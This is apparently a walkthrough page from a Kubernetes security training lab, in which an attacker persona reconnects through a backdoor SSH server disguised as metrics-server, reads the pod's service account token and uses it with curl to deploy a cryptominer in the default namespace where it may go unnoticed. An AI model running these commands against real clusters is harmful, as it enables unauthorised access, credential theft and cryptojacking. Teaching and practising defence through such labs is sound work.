Skip to content

Persistence: Scenario 2 Attack

Backstory

Name: Red

  • Opportunist
  • Easy money via crypto-mining
  • Uses automated scans of web IP space looking for known exploits and vulnerabilities

Motivations

  • Red notices that public access to the cluster is gone and the cryptominers have stopped reporting in
  • Red is excited to discover that the SSH server they left behind is still active

Re-establishing a Foothold

Red reconnects to the cluster using the SSH service disguised as a metrics-server on the cluster. While having access to an individual container may not seem like much of a risk at first glance, this container has two characteristics that make it very dangerous:

  • There is a service account associated with the container which has been granted access to all kubernetes APIs
  • The container is running with a privileged security context which grants it direct access to the host OS

Deploying Miners

Connect to the cluster via SSH:

echo "SSH password is: Sup3r_S3cr3t_P@ssw0rd"
ssh root@<service IP from attack 1> -p 8080

To restart our crypto mining, we will need the token for the pod service account:

export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)

This time, we will create our miner in the default namespace. Since it is common for lots of orphaned deployments to land here, maybe ours will go unnoticed:

export NAMESPACE=default

And we will be connecting to the kubernetes API from inside the cluster this time:

export API_SERVER="https://kubernetes.default.svc"

Lastly, we will need curl for this and our SSH image didn't come with it preinstalled:

apk update && apk add curl

Now the fun part, let's create our miner:

curl -k -X POST "$API_SERVER/apis/apps/v1/namespaces/$NAMESPACE/deployments" \  
-H "Authorization: Bearer $TOKEN" \  
-H "Content-Type: application/json" \  
--data-binary '{
    "apiVersion":"apps/v1",
    "kind":"Deployment",
    "metadata":{
      "labels":{
        "run":"bitcoinero"},
        "name":"bitcoinero",
        "namespace":"'$NAMESPACE'"},
      "spec":{
        "replicas":1,
        "selector":{
          "matchLabels":{
            "run":"bitcoinero"}},
        "strategy":{
          "rollingUpdate":{
            "maxSurge":"25%",
            "maxUnavailable":"25%"},
          "type":"RollingUpdate"},
        "template":{
          "metadata":{
            "labels":{
              "run":"bitcoinero"}},
          "spec":{
            "containers":[{
                "image":"securekubernetes/bitcoinero:latest",
                "name":"bitcoinero",
                "command":["./moneymoneymoney"],
                "args":["-c","1","-l","10"],
                "resources":{
                  "requests":{
                    "cpu":"100m",
                    "memory":"128Mi"},
                  "limits":{
                    "cpu":"200m",
                    "memory":"128Mi"}}}]}}}}'

Verify that the pod is running:

curl -k -X GET "$API_SERVER/api/v1/namespaces/$NAMESPACE/pods?labelSelector=run%3dbitcoinero" -H "Authorization: Bearer $TOKEN" -H "Accept: application/json" 2>/dev/null | grep phase

Time for some celebratory pizza!